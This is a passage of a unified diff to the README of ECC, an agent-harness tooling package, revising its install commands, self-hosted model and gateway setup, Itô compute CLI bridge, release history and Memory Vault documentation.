lets you select any combination of Claude Code, Codex, and Kimi Code, shows each install channel and destination, preflights every selection before the first write, and asks for one final confirmation. - -| Harness | Guided install behavior | -|---|---| -| Claude Code | Native `ecc@ecc` plugin with one `user`, `project`, or `local` scope and an ECC hook profile | -| Codex | Native Codex marketplace/plugin lifecycle; hook review and trust remain Codex-owned | -| Kimi Code | Managed project files under `./.kimi-code`; ECC hooks, model/provider settings, and authentication are not configured | - -For automation, make every provider-specific choice explicit: - -```bash -npx ecc-universal install --guided \ - --harness claude --harness codex --harness kimi \ - --claude-scope local --claude-hooks standard \ - --profile core --yes -``` - -Verify the native guided Codex path and managed Kimi path without writing first: - -```bash -npx ecc-universal install --guided --harness codex --dry-run -npx ecc-universal install --profile core --target kimi --dry-run -``` - -Additional package-name commands are also available through the 2.2 alias: - -```bash -npx ecc-universal consult "security reviews" --target claude -npx ecc-universal install --profile minimal --target claude --with capability:machine-learning -npx ecc-universal doctor --target kimi -``` - -Do not use `npx ecc-install --profile minimal --target claude`: `ecc-install` is a binary name inside `ecc-universal`, not a separately published npm package. - -ECC also ships advanced managed adapters for `cursor`, `antigravity`, `gemini`, `opencode`, `codebuddy`, `joycode`, `qwen`, `zed`, `hermes`, and `openclaw`. Those targets still use their documented `ecc install --target ...` paths until each adapter has passed the guided collision, update, repair, and uninstall lifecycle matrix. Neither wizard silently installs into every detected harness. - ## Start Using ECC Start with the workflow you need, not the full catalog. @@ -728,7 +660,7 @@ Start with the workflow you need, not the full catalog. | Checking context pressure | `/context-budget` | | Ending a long session | `/save-session` or `/learn-eval` | | Resuming later | `/resume-session` | -| Auditing agent config | `/security-scan` or `npx -y ecc-agentshield scan --path .` | +| Auditing agent config | `/security-scan` with a reviewed scanner, or installed `agentshield scan --path .` |
Plugin commands and manual commands @@ -806,278 +738,90 @@ e2e-testing skill -> e2e-runner: critical user flow ```
-## What's New: ECC 2.1 +## Self-Hosted Models and Custom Endpoints -> [!IMPORTANT] -> **NEW IN ECC 2.1: Plan Canvas · Kimi harness · self-hosted compute on Itô GPUs.** -> [See the full release notes →](https://github.com/affaan-m/ECC/blob/main/docs/releases/2.1.0/release-notes.md) +ECC works through each harness's normal configuration, so you can use an official provider, a compatible custom API endpoint or model gateway, or a self-hosted model without changing ECC's workflows. -### Plan Canvas: review plans by pointing, not retyping - -Your agent writes a plan, then opens it in a loopback-only browser canvas. Click the part you mean, attach numbered annotations, chat from a side rail, and hit **Approve plan** or **Request changes**. The verdict maps straight onto `/plan`'s CONFIRM gate. Mermaid diagrams render live, and edits to the plan file reload the page. - -![Plan Canvas demo: reviewing an ECC plan in the browser, scrolling diagrams, attaching an anchored annotation, chatting with the agent, and approving the plan](https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/2.1.0/assets/ecc-plan-canvas-demo.gif) - -It's harness- and model-agnostic: a plain CLI (`ecc-plan-canvas`) speaking JSON, so any agent can drive it. Try it: ask your agent to `/ecc:plan` anything, then review from the page instead of the terminal. - -[Open the plan used in this demo →](https://github.com/affaan-m/ECC/blob/main/docs/releases/2.1.0/plan-canvas-demo.plan.md) - -### Also in 2.1 - -- **Kimi Code install target** (`--target kimi`): ECC installs natively into [Moonshot AI](https://www.moonshot.ai)'s Kimi Code CLI -- **Self-host on GPUs**: a verified path with [Itô](https://compute.itomarkets.com), ECC's preferred compute sponsor, including the opt-in `ecc ito find` RFQ bridge (details and disclosures above in [Self-Hosted Models and Custom Endpoints](#self-hosted-models-and-custom-endpoints)) -- **Moonshot AI (Kimi), Itô, and Atlas Cloud** are now public sponsors -- **Hermes + OpenClaw install targets**, a Codex navigation guide, consolidated PostToolUse hooks, and supply-chain hardening - -### Current development: Unified Memory Vault - -`ecc memory` gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. The optional `ecc-memory-mcp` stdio server exposes the same bounded save/search/read/doctor surface without enabling itself by default. Full detail in [Share context between harnesses](#share-context-between-harnesses) below. - -
-Previous releases - -| Version | Highlights | -|---|---| -| [v2.0.0](https://github.com/affaan-m/ECC/releases/tag/v2.0.0) | The Agent Harness Operating System: cross-harness graduation, control-pane substrate, `orch-*` orchestrators, Discord + ECC bot, single-connector MCP policy | -| [v1.10.0](https://github.com/affaan-m/ECC/releases/tag/v1.10.0) | Surface refresh, operator workflows, ECC 2.0 alpha | -| [v1.9.0](https://github.com/affaan-m/ECC/releases/tag/v1.9.0) | Selective install, ECC Tools Pro, 12 language ecosystems | -| [v1.8.0](https://github.com/affaan-m/ECC/releases/tag/v1.8.0) | Harness performance and cross-platform reliability | -| [v1.7.0](https://github.com/affaan-m/ECC/releases/tag/v1.7.0) | Cross-platform expansion and presentation builder | -| [v1.6.0](https://github.com/affaan-m/ECC/releases/tag/v1.6.0) | Codex Edition and the ECC Tools GitHub App | -| [v1.5.0](https://github.com/affaan-m/ECC/releases/tag/v1.5.0) | Universal Edition | -| [v1.4.0](https://github.com/affaan-m/ECC/releases/tag/v1.4.0) | Multi-language rules, installation wizard, PM2 orchestration | -| [v1.3.0](https://github.com/affaan-m/ECC/releases/tag/v1.3.0) | Complete OpenCode plugin support | -| [v1.2.0](https://github.com/affaan-m/ECC/releases/tag/v1.2.0) | Unified commands and skills | -| [v1.1.0](https://github.com/affaan-m/ECC/releases/tag/v1.1.0) | Cross-platform support and community fixes | -| [v1.0.0](https://github.com/affaan-m/ECC/releases/tag/v1.0.0) | Official plugin release | - -
- -
-Release history in detail - -### v2.0.0: The Agent Harness Operating System (Jun 2026) - -Stable graduation of the 2.0 line: the control-pane substrate (session adapters + MCP inventory), the worktree-lifecycle service, the `orch-*` orchestrator family, and the launch of the [ECC Discord community](https://discord.gg/36yGMHGFbR). Full notes: [docs/releases/2.0.0/release-notes.md](docs/releases/2.0.0/release-notes.md). - -### v2.0.0-rc.1: Surface Refresh, Operator Workflows, and ECC 2.0 Alpha (Apr 2026) - -- **Dashboard GUI**: New Tkinter-based desktop application (`ecc_dashboard.py` or `npm run dashboard`) with dark/light theme toggle, font customization, and project logo in header and taskbar. -- **Public surface synced to the live repo**: metadata, catalog counts, plugin manifests, and install-facing docs now match the actual OSS surface. -- **Operator and outbound workflow expansion**: `brand-voice`, `social-graph-ranker`, `connections-optimizer`, `customer-billing-ops`, `ecc-tools-cost-audit`, `google-workspace-ops`, `project-flow-ops`, and `workspace-surface-audit` round out the operator lane. -- **Media and launch tooling**: `manim-video`, `remotion-video-creation`, and upgraded social publishing surfaces make technical explainers and launch content part of the same system. -- **Framework and product surface growth**: `nestjs-patterns`, richer Codex/OpenCode install surfaces, and expanded cross-harness packaging keep the repo usable beyond a single harness. -- **Itô prediction-market skill pack**: the consolidated `ito-baskets` skill (read-only basket index, comparison, market briefs, and non-executable planning worksheets — replacing the former `ito-market-intelligence`, `ito-basket-compare`, `ito-trade-planner`, and `ito-data-atlas-agent` skills), plus `prediction-market-oracle-research` and `prediction-market-risk-review`, add public, non-advisory market/basket workflows while keeping live Itô API access gated and separate from ECC Tools billing. -- **Optimization skill pack**: `parallel-execution-optimizer`, `benchmark-optimization-loop`, `data-throughput-accelerator`, `latency-critical-systems`, and `recursive-decision-ledger` turn repeated speed/recursion prompts into bounded benchmark, throughput, and decision-ledger workflows. -- **ECC 2.0 alpha in-tree**: the Rust control-plane prototype in `ecc2/` builds locally and exposes `dashboard`, `start`, `sessions`, `status`, `stop`, `resume`, and `daemon` commands. -- **Operator status snapshots**: `ecc status --markdown --write status.md` turns the local state store into a portable handoff covering readiness, active sessions, skill-run health, install health, pending governance events, and linked work items from Linear/GitHub/handoffs. -- **Ecosystem hardening**: AgentShield, ECC Tools cost controls, billing portal work, and website refreshes continue to ship around the core plugin instead of drifting into separate silos. - -### v1.9.0: Selective Install and Language Expansion (Mar 2026) - -- **Selective install architecture**: Manifest-driven install pipeline with `install-plan.js` and `install-apply.js` for targeted component installation. State store tracks what's installed and enables incremental updates. -- **6 new agents**: `typescript-reviewer`, `pytorch-build-resolver`, `java-build-resolver`, `java-reviewer`, `kotlin-reviewer`, `kotlin-build-resolver` expand language coverage to 10 languages. -- **New skills**: `pytorch-patterns`, `documentation-lookup`, `bun-runtime`, `nextjs-turbopack`, 8 operational domain skills, and `mcp-server-patterns`. -- **Session and state infrastructure**: SQLite state store with query CLI, session adapters for structured recording, skill evolution foundation for self-improving skills. -- **Orchestration overhaul**: Deterministic harness audit scoring, hardened orchestration status and launcher compatibility, observer loop prevention with 5-layer guard. -- **Observer reliability**: Memory explosion fix with throttling and tail sampling, sandbox access fix, lazy-start logic, and re-entrancy guard. -- **12 language ecosystems**: New rules for Java, PHP, Perl, Kotlin/Android/KMP, C++, and Rust join existing TypeScript, Python, Go, and common rules. -- **Community contributions**: Korean and Chinese translations, biome hook optimization, video processing skills, operational skills, PowerShell installer, Antigravity IDE support. -- **CI hardening**: 19 test failure fixes, catalog count enforcement, install manifest validation, and full test suite green. - -### v1.8.0: Harness Performance System (Mar 2026) - -- **Harness-first release**: ECC is explicitly framed as an agent harness performance system, not just a config pack. -- **Hook reliability overhaul**: SessionStart root fallback, Stop-phase session summaries, and script-based hooks replacing fragile inline one-liners. -- **Hook runtime controls**: `ECC_HOOK_PROFILE=minimal|standard|strict` and `ECC_DISABLED_HOOKS=...` for runtime gating without editing hook files. -- **New harness commands**: `/harness-audit`, `/loop-start`, `/loop-status`, `/quality-gate`, `/model-route`. -- **NanoClaw v2**: model routing, skill hot-load, session branch/search/export/compact/metrics. -- **Cross-harness parity**: behavior tightened across Claude Code, Cursor, OpenCode, and Codex app/CLI. -- **997 internal tests passing**: full suite green after hook/runtime refactor and compatibility updates. - -### v1.7.0: Cross-Platform Expansion and Presentation Builder (Feb 2026) - -- **Codex app + CLI support**: Direct `AGENTS.md`-based Codex support, installer targeting, and Codex docs -- **`frontend-slides` skill**: Zero-dependency HTML presentation builder with PPTX conversion guidance and strict viewport-fit rules -- **5 new generic business/content skills**: `article-writing`, `content-engine`, `market-research`, `investor-materials`, `investor-outreach` -- **Broader tool coverage**: Cursor, Codex, and OpenCode support tightened so the same repo ships cleanly across all major harnesses -- **992 internal tests**: Expanded validation and regression coverage across plugin, hooks, skills, and packaging - -### v1.6.0: Codex CLI, AgentShield, and Marketplace (Feb 2026) - -- **Codex CLI support**: New `/codex-setup` command generates `codex.md` for OpenAI Codex CLI compatibility -- **7 new skills**: `search-first`, `swift-actor-persistence`, `swift-protocol-di-testing`, `regex-vs-llm-structured-text`, `content-hash-cache-pattern`, `cost-aware-llm-pipeline`, `skill-stocktake` -- **AgentShield integration**: `/security-scan` runs AgentShield directly from Claude Code; 1282 tests, 102 rules -- **GitHub Marketplace**: ECC Tools GitHub App live at [github.com/marketplace/ecc-tools](https://github.com/marketplace/ecc-tools) with free/pro/enterprise tiers -- **30+ community PRs merged**: Contributions from 30 contributors across 6 languages -- **978 internal tests**: Expanded validation suite across agents, skills, commands, hooks, and rules - -### v1.4.1: Bug Fix (Feb 2026) - -- **Fixed instinct import content loss**: `parse_instinct_file()` was silently dropping all content after frontmatter (Action, Evidence, Examples sections) during `/instinct-import`. ([#148](https://github.com/affaan-m/ECC/issues/148), [#161](https://github.com/affaan-m/ECC/pull/161)) - -### v1.4.0: Multi-Language Rules, Installation Wizard, and PM2 (Feb 2026) - -- **Interactive installation wizard**: New `configure-ecc` skill provides guided setup with merge/overwrite detection -- **PM2 and multi-agent orchestration**: 6 new commands (`/pm2`, `/multi-plan`, `/multi-execute`, `/multi-backend`, `/multi-frontend`, `/multi-workflow`) for managing complex multi-service workflows -- **Multi-language rules architecture**: Rules restructured from flat files into `common/` + `typescript/` + `python/` + `golang/` directories. Install only the languages you need -- **Chinese (zh-CN) translations**: Complete translation of all agents, commands, skills, and rules (80+ files) -- **GitHub Sponsors support**: Sponsor the project via GitHub Sponsors -- **Enhanced CONTRIBUTING.md**: Detailed PR templates for each contribution type - -### v1.3.0: OpenCode Plugin Support (Feb 2026) - -- **Full OpenCode integration**: 12 agents, 24 commands, 16 skills with hook support via OpenCode's plugin system (20+ event types) -- **3 native custom tools**: run-tests, check-coverage, security-audit -- **LLM documentation**: `llms.txt` for comprehensive OpenCode docs - -### v1.2.0: Unified Commands and Skills (Feb 2026) - -- **Python/Django support**: Django patterns, security, TDD, and verification skills -- **Java Spring Boot skills**: Patterns, security, TDD, and verification for Spring Boot -- **Session management**: `/sessions` command for session history -- **Continuous learning v2**: Instinct-based learning with confidence scoring, import/export, evolution - -See the full changelog in [Releases](https://github.com/affaan-m/ECC/releases). -
- -## Why Choose ECC? - -| Without a system | With ECC | -| ------------------------------------------------------- | --------------------------------------------------------------------- | -| Plans disappear into chat history | Plans become editable artifacts before implementation starts | -| "Please use TDD" is an instruction the model may forget | TDD becomes a gated RED -> GREEN -> REFACTOR workflow with evidence | -| The same context writes and reviews the code | A fresh-context reviewer looks for regressions and blind spots | -| Memory means saving an enormous transcript | Sessions are distilled into summaries, instincts, and reusable skills | -| Quality checks depend on reminders | Hooks can enforce deterministic checks outside the prompt | -| Agent configuration is trusted by default | AgentShield scans the harness itself as an attack surface | - -### TDD: Test-Driven Development - -```text -/ecc:plan "Add usage-based billing alerts" - -> confirm or edit the plan - -> activate tdd-workflow - -> capture RED evidence before implementation - -> implement until GREEN - -> review from fresh context - -> fix findings with regression tests - -> verify build, lint, types, and tests -``` - -A result is not just code. It's a trail of evidence: the plan, the failing test, the passing test, the review findings, and the final verification. - -### Skills keep the context focused - -Rules, skills, agents, and hooks solve different problems. Keeping those jobs separate is how ECC adds capability without dumping the entire repository into every session. - -| Concept | What it does | Context behavior | -|---|---|---| -| Skills | Reusable workflows such as TDD, security review, or deep research | Loaded when the task needs them | -| Agents | Scoped workers with their own context and tool permissions | Isolate planning, implementation, and review | -| Rules | Durable project or language standards | Always loaded, so install them selectively | -| Hooks | Scripts triggered by harness events | Run outside the model context | -| Instincts | Patterns learned from real sessions with confidence scores | Recalled when relevant | - -### Share context between harnesses - -ECC's Memory Vault gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. Project and team memories live under `.ecc/memory/`; user memories live under `~/.ecc/memory/`. +For Claude Code, ECC does not hardcode Anthropic-hosted transport settings. Minimal gateway example: ```bash -npm install -g ecc-universal -ecc memory init --scope project -ecc memory search "authentication migration" --target-harness codex -ecc memory doctor +export ANTHROPIC_BASE_URL=https://your-gateway.example.com +export ANTHROPIC_AUTH_TOKEN=your-token +claude ``` -Memory is unreviewed context, not executable policy. Verify important claims against authoritative sources and promote accepted knowledge into governed project documentation. The optional `ecc-memory-mcp` server exposes the same bounded save, search, read, and doctor surface without enabling itself by default. +If your gateway remaps model names, configure that in Claude Code rather than in ECC. ECC's hooks, skills, commands, and rules are model-provider agnostic once the `claude` CLI is already working. See Anthropic's [LLM gateway documentation](https://docs.anthropic.com/en/docs/claude-code/llm-gateway) and [model configuration documentation](https://docs.anthropic.com/en/docs/claude-code/model-config). -[Open the Unified Memory workflow →](skills/unified-memory/SKILL.md) +Run or self-host any open-source model behind that gateway using separate compute and serving setup. If you need GPU capacity, [Itô](https://compute.itomarkets.com) is ECC's preferred compute sponsor; any GPU provider works. The sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, `ecc ito find` invokes the explicitly configured canonical Itô CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through Itô is not live yet. -
-Memory Vault in depth: scopes, handoffs, and trust boundaries +### Self-host Kimi with ECC + Itô compute -The Memory Vault stores portable `ecc.memory.v1` Markdown documents instead of copying vendor transcripts or emailing context between agents. Project memories are protected by a fail-closed `.gitignore`; use the team scope only for human-inspected, version-controlled sharing. Team memories remain unreviewed context even after they are committed. +The Kimi Code harness and the model-serving layer are separate. ECC configures the agent harness; you bring an API endpoint ([get a Kimi API key](https://platform.kimi.ai?aff=ecc)) or self-host an open-weight Kimi model on your own GPU capacity. This adapter is verified against Kimi Code 0.31.x (`@moonshot-ai/kimi-code`): -Skill-only, minimal, manual, and Claude plugin installs do not put the Memory Vault runtime on `PATH`. Install the npm runtime separately before using the CLI or optional MCP server: - -```bash -npm install -g ecc-universal -ecc memory --help -command -v ecc-memory-mcp -``` - -```bash -# Initialize the project vault. -ecc memory init --scope project - -# Write a handoff body to a regular file, then target the next harness. -ecc memory handoff \ - --from hermes \ - --target codex \ - --title "Continue authentication migration" \ - --body-file ./handoff.md - -# Recall it from another harness. -ecc memory search "authentication migration" --target-harness codex -ecc memory read - -# Validate the vault before sharing team memories. -ecc memory doctor -``` - -Memory bodies are accepted only through `--stdin` or `--body-file`, not as command-line values. The first release keeps every vault entry unreviewed and create-only; human review promotes accepted knowledge into governed project documentation rather than changing memory trust. Normal search recall returns active project and team memories. A direct ID read may inspect a non-active entry. User-scope recall must be requested explicitly. Agents must verify important claims against authoritative sources and must never treat recalled bodies as executable instructions or policy. - -For opt-in MCP access, add the `ecc-memory-vault` entry from [`mcp-configs/mcp-servers.json`](mcp-configs/mcp-servers.json) to each harness that needs it, then run `ecc-memory-mcp`. The server exposes only `memory_save`, `memory_search`, `memory_read`, and `memory_doctor`. Each server must launch with a lowercase `ECC_MEMORY_HARNESS` identity; the identity is server-bound and cannot be supplied by a tool caller. User scope additionally requires the operator-controlled `ECC_MEMORY_ALLOW_USER_SCOPE=1` opt-in. See [`skills/unified-memory/SKILL.md`](skills/unified-memory/SKILL.md) for the workflow and trust boundaries, and [`docs/design/ecc-memory-vault.md`](docs/design/ecc-memory-vault.md) for the capability contract. -
- -## Guides - -This repo is the raw code. The guides explain everything. - - +
- -The Shorthand Guide to ECC
-The Shorthand Guide -
-
Setup, foundations, and day-one use. Read this first. (thread) + + Itô Markets
+ 1. Get GPU capacity +

+ Use Itô or any GPU provider.
- -The Longform Guide to ECC
-The Longform Guide -
-
Context economics, memory, evals, and parallel agents. (thread) + + Moonshot AI - Kimi
+ 2. Serve Kimi +

+ Expose the chosen checkpoint through a compatible endpoint.
- -The Security Guide to ECC
-The Security Guide -
-
Prompt injection, hooks, MCP, and AgentShield. (thread) + + ECC Tools
+ 3. Run Kimi Code with ECC +

+ Install project instructions and skills, then start Kimi Code.
-| Topic | What You'll Learn | -|-------|-------------------| -| Token Optimization | Model selection, system prompt slimming, background processes | -| Memory Persistence | Hooks that save/load context across sessions automatically | -| Continuous Learning | Auto-extract patterns from sessions into reusable skills | -| Verification Loops | Checkpoint vs continuous evals, grader types, pass@k metrics | -| Parallelization | Git worktrees, cascade method, when to scale instances | -| Subagent Orchestration | The context problem, iterative retrieval pattern | +Configure the endpoint with Kimi Code's official provider guide, then install ECC: -[Commands Quick Reference](./COMMANDS-QUICK-REF.md) | [Manual Adaptation Guide](docs/MANUAL-ADAPTATION-GUIDE.md) +```bash +bash ./install.sh --target kimi --profile minimal +node scripts/ecc.js doctor --target kimi +kimi +``` + +Kimi Code discovers the installed `.kimi-code/AGENTS.md` instructions and `.kimi-code/skills/` workflows natively; project-level `.agents/skills/` is also an official discovery location. ECC safely merges project MCP entries into `.kimi-code/mcp.json` and does not change the user-level `~/.kimi-code/config.toml`. Kimi Code supports native hooks, but ECC's current managed-project adapter does not configure them, so this installer does not offer Kimi hook profiles. The installer dry-run and regression suite verify that every managed Kimi write stays inside the project-local `.kimi-code/` root. + +### Itô compute CLI bridge + +`ecc ito` delegates to the separately installed canonical Itô client; ECC does not maintain a second API client. `ecc ito login [--no-browser]` performs device authorization, opens the Itô verification page by default, and persists a device token in macOS Keychain; `--no-browser` suppresses the page handoff. ECC itself does no browser automation. `ecc ito auth` is validation-only and rejects `--no-browser`. The available operations are `ecc ito login`, `ecc ito auth`, `ecc ito find`, `ecc ito status`, and the separately gated `ecc ito evals`. The matching MCP tools remain `ito_auth`, `ito_find`, and `ito_status`; `ito_auth` validates existing credentials and node qualification is CLI-only. + +The `ito-compute-cli` package is currently unpublished. Build it locally from the Itô runtime repo (private while the desk hardens; design partners get access) under `cli/ito-compute-cli`, run `npm ci` and `npm run check`, then set `ECC_ITO_CLI_EXECUTABLE` to that build's absolute `dist/bin/ito.js` path. Login never inherits `ITO_API_KEY`; auth, find, and status forward `ITO_API_KEY` directly when configured, and `ITO_AUTH_MODE=legacy` is not required. `ecc ito logout` revokes the current device credential and retains its local copy if remote revocation cannot be confirmed. Device tokens use macOS Keychain by default; explicit file fallback must retain owner-only directory/file permissions. ECC does not discover this credential-bearing client through `PATH`. See the [`ito-compute` skill](skills/ito-compute/SKILL.md) for the full RFQ authority and MCP setup contract. + +`find` submits a live authenticated RFQ. It does not reserve capacity. `evals` requires both `ITO_ENABLE_SIXTYTWO_LIVE=1` and `--live-sixtytwo`, a separately installed `sixtytwo-cli==0.3.33`, an explicit node list, and an existing absolute configuration directory. It cannot rent, launch, recover, repair, or purchase. ECC exposes no quote lock, purchase, workload, or inference path, and it never replaces a missing client or failed live call with a local result. + +## What's New + +Current release: **2.2.2** (2026-08-31). Highlights of the 2.2 line: + +- Guided, manifest-driven setup across Claude Code, Codex, and Kimi Code, with install-state ownership, doctor, repair, and uninstall. +- Native Antigravity install, a thin Pi adapter, and the packed-artifact release gate tested on Linux, macOS, and Windows. +- Plan Canvas browser review, the unified memory vault (`ecc memory`), and the Itô compute skill family. + +Full history: [CHANGELOG.md](CHANGELOG.md). Per-release notes and evidence live under [docs/releases/](docs/releases/). + +### v2.0.0: The Agent Harness Operating System (Jun 2026) + +Stable graduation of the 2.0 line: control-pane substrate, worktree lifecycle service, the `orch-*` orchestrator family, and the Discord community. Notes: [docs/releases/2.0.0/release-notes.md](docs/releases/2.0.0/release-notes.md). ## What's Inside ```text ECC/ |-- agents/ # 68 specialized subagents for delegation -|-- skills/ # 284 reusable workflows loaded on demand +|-- skills/ # 293 reusable workflows loaded on demand |-- commands/ # 94 maintained slash-command shims |-- rules/ # opt-in common and language standards |-- hooks/ # runtime automation and enforcement @@ -1170,6 +914,7 @@ ECC/ | |-- quarkus-security/ # Quarkus security | |-- quarkus-tdd/ # Quarkus TDD | |-- quarkus-verification/ # Quarkus verification +| |-- rails-patterns/ # Rails architecture patterns | |-- springboot-patterns/ # Java Spring Boot patterns | |-- springboot-security/ # Spring Boot security | |-- springboot-tdd/ # Spring Boot TDD @@ -1324,88 +1069,6 @@ python3 ./ecc_dashboard.py - Search and filter across all components -## Ecosystem Tools - -
-Skill Creator: generate skills from your git history - -Two ways to generate skills from your repository: - -### Option A: Local Analysis (Built-in) - -Use the `/skill-create` command for local analysis without external services: - -```bash -/skill-create # Analyze current repo -/skill-create --instincts # Also generate instincts for continuous-learning-v2 -``` - -This analyzes your git history locally and generates SKILL.md files. - -### Option B: GitHub App (Advanced) - -For advanced features (10k+ commits, auto-PRs, team sharing): - -[Install ECC Tools GitHub App](https://github.com/apps/ecc-tools) | [ecc.tools](https://ecc.tools) - -```bash -# Comment on any issue: -/ecc-tools analyze -``` - -Both options create: -- **SKILL.md files**: Ready-to-use skills for the active harness -- **Instinct collections**: For continuous-learning-v2 -- **Pattern extraction**: Learns from your commit history -
- -
-AgentShield: security auditor for agent configs - -> Built at the Claude Code Hackathon (Cerebral Valley x Anthropic, Feb 2026). 1282 tests, 98% coverage, 102 static analysis rules. - -Scan your agent configuration for vulnerabilities, misconfigurations, and injection risks. - -```bash -# Quick scan (no install needed) -npx ecc-agentshield scan - -# Auto-fix safe issues -npx ecc-agentshield scan --fix - -# Deep analysis with three Opus 4.6 agents -npx ecc-agentshield scan --opus --stream - -# Generate secure config from scratch -npx ecc-agentshield init -``` - -**What it scans:** CLAUDE.md, settings.json, MCP configs, hooks, agent definitions, and skills across 5 categories: secrets detection (14 patterns), permission auditing, hook injection analysis, MCP server risk profiling, and agent config review. - -**The `--opus` flag** runs three Claude Opus 4.6 agents in a red-team/blue-team/auditor pipeline. The attacker finds exploit chains, the defender evaluates protections, and the auditor synthesizes both into a prioritized risk assessment. Adversarial reasoning, not just pattern matching. - -**Output formats:** Terminal (color-graded A-F), JSON (CI pipelines), Markdown, HTML. Exit code 2 on critical findings for build gates. - -Use `/security-scan` in Claude Code to run it, or add to CI with the [GitHub Action](https://github.com/affaan-m/agentshield). - -[GitHub](https://github.com/affaan-m/agentshield) | [npm](https://www.npmjs.com/package/ecc-agentshield) -
- -
-Continuous Learning v2: instincts - -The instinct-based learning system automatically learns your patterns: - -```bash -/instinct-status # Show learned instincts with confidence -/instinct-import # Import instincts from others -/instinct-export # Export your instincts for sharing -/evolve # Cluster related instincts into skills -``` - -See `skills/continuous-learning-v2/` for full documentation. Keep `continuous-learning/` only when you explicitly want the legacy v1 Stop-hook learned-skill flow. -
- ## Key Concepts
@@ -1472,7 +1135,139 @@ rules/ See [`rules/README.md`](rules/README.md) for installation and structure details.
-## Cross-Platform Support +## Guides + +This repo is the raw code. The guides explain everything. + + + + + + + +
+ +The Shorthand Guide to ECC
+The Shorthand Guide +
+
Setup, foundations, and day-one use. Read this first. (thread) +
+ +The Longform Guide to ECC
+The Longform Guide +
+
Context economics, memory, evals, and parallel agents. (thread) +
+ +The Security Guide to ECC
+The Security Guide +
+
Prompt injection, hooks, MCP, and AgentShield. (thread) +
+ +| Topic | What You'll Learn | +|-------|-------------------| +| Token Optimization | Model selection, system prompt slimming, background processes | +| Memory Persistence | Hooks that save/load context across sessions automatically | +| Continuous Learning | Auto-extract patterns from sessions into reusable skills | +| Verification Loops | Checkpoint vs continuous evals, grader types, pass@k metrics | +| Parallelization | Git worktrees, cascade method, when to scale instances | +| Subagent Orchestration | The context problem, iterative retrieval pattern | + +[Commands Quick Reference](./COMMANDS-QUICK-REF.md) | [Manual Adaptation Guide](docs/MANUAL-ADAPTATION-GUIDE.md) | [Troubleshooting FAQ](./TROUBLESHOOTING.md) | [Roadmap](docs/ROADMAP.md) + +## Why Choose ECC? + +| Without a system | With ECC | +| ------------------------------------------------------- | --------------------------------------------------------------------- | +| Plans disappear into chat history | Plans become editable artifacts before implementation starts | +| "Please use TDD" is an instruction the model may forget | TDD becomes a gated RED -> GREEN -> REFACTOR workflow with evidence | +| The same context writes and reviews the code | A fresh-context reviewer looks for regressions and blind spots | +| Memory means saving an enormous transcript | Sessions are distilled into summaries, instincts, and reusable skills | +| Quality checks depend on reminders | Hooks can enforce deterministic checks outside the prompt | +| Agent configuration is trusted by default | AgentShield scans the harness itself as an attack surface | + +### TDD: Test-Driven Development + +```text +/ecc:plan "Add usage-based billing alerts" + -> confirm or edit the plan + -> activate tdd-workflow + -> capture RED evidence before implementation + -> implement until GREEN + -> review from fresh context + -> fix findings with regression tests + -> verify build, lint, types, and tests +``` + +A result is not just code. It's a trail of evidence: the plan, the failing test, the passing test, the review findings, and the final verification. + +### Skills keep the context focused + +Rules, skills, agents, and hooks solve different problems. Keeping those jobs separate is how ECC adds capability without dumping the entire repository into every session. + +| Concept | What it does | Context behavior | +|---|---|---| +| Skills | Reusable workflows such as TDD, security review, or deep research | Loaded when the task needs them | +| Agents | Scoped workers with their own context and tool permissions | Isolate planning, implementation, and review | +| Rules | Durable project or language standards | Always loaded, so install them selectively | +| Hooks | Scripts triggered by harness events | Run outside the model context | +| Instincts | Patterns learned from real sessions with confidence scores | Recalled when relevant | + +### Share context between harnesses + +ECC's Memory Vault gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. Project and team memories live under `.ecc/memory/`; user memories live under `~/.ecc/memory/`. + +Skill-only, minimal, manual, and Claude plugin installs do not put the Memory Vault runtime on `PATH`. Install the npm runtime separately before using the CLI or optional MCP server: + +```bash +npm install -g ecc-universal@2.2.2 +ecc memory init --scope project +ecc memory search "authentication migration" --target-harness codex +ecc memory doctor +``` + +Memory is unreviewed context, not executable policy. Verify important claims against authoritative sources and promote accepted knowledge into governed project documentation. The optional `ecc-memory-mcp` server exposes the same bounded save, search, read, and doctor surface without enabling itself by default. + +[Open the Unified Memory workflow →](skills/unified-memory/SKILL.md) + +
+Memory Vault in depth: scopes, handoffs, and trust boundaries + +The Memory Vault stores portable `ecc.memory.v1` Markdown documents instead of copying vendor transcripts or emailing context between agents. Project memories are protected by a fail-closed `.gitignore`; use the team scope only for human-inspected, version-controlled sharing. Team memories remain unreviewed context even after they are committed. + +After installing the runtime above, check that the CLI and optional MCP entry point are available: + +```bash +ecc memory --help +command -v ecc-memory-mcp +``` + +```bash +# Initialize the project vault. +ecc memory init --scope project + +# Write a handoff body to a regular file, then target the next harness. +ecc memory handoff \ + --from hermes \ + --target codex \ + --title "Continue authentication migration" \ + --body-file ./handoff.md + +# Recall it from another harness. +ecc memory search "authentication migration" --target-harness codex +ecc memory read + +# Validate the vault before sharing team memories. +ecc memory doctor +``` + +Memory bodies are accepted only through `--stdin` or `--body-file`, not as command-line values. The first release keeps every vault entry unreviewed and create-only; human review promotes accepted knowledge into governed project documentation rather than changing memory trust. Normal search recall returns active project and team memories. A direct ID read may inspect a non-active entry. User-scope recall must be requested explicitly. Agents must verify important claims against authoritative sources and must never treat recalled bodies as executable instructions or policy. + +For opt-in MCP access, add the `ecc-memory-vault` entry from [`mcp-configs/mcp-servers.json`](mcp-configs/mcp-servers.json) to each harness that needs it, then run `ecc-memory-mcp`. The server exposes only `memory_save`, `memory_search`, `memory_read`, and `memory_doctor`. Each server must launch with a lowercase `ECC_MEMORY_HARNESS` identity; the identity is server-bound and cannot be supplied by a tool caller. User scope additionally requires the operator-controlled `ECC_MEMORY_ALLOW_USER_SCOPE=1` opt-in. See [`skills/unified-memory/SKILL.md`](skills/unified-memory/SKILL.md) for the workflow and trust boundaries, and [`docs/design/ecc-memory-vault.md`](docs/design/ecc-memory-vault.md) for the capability contract. +
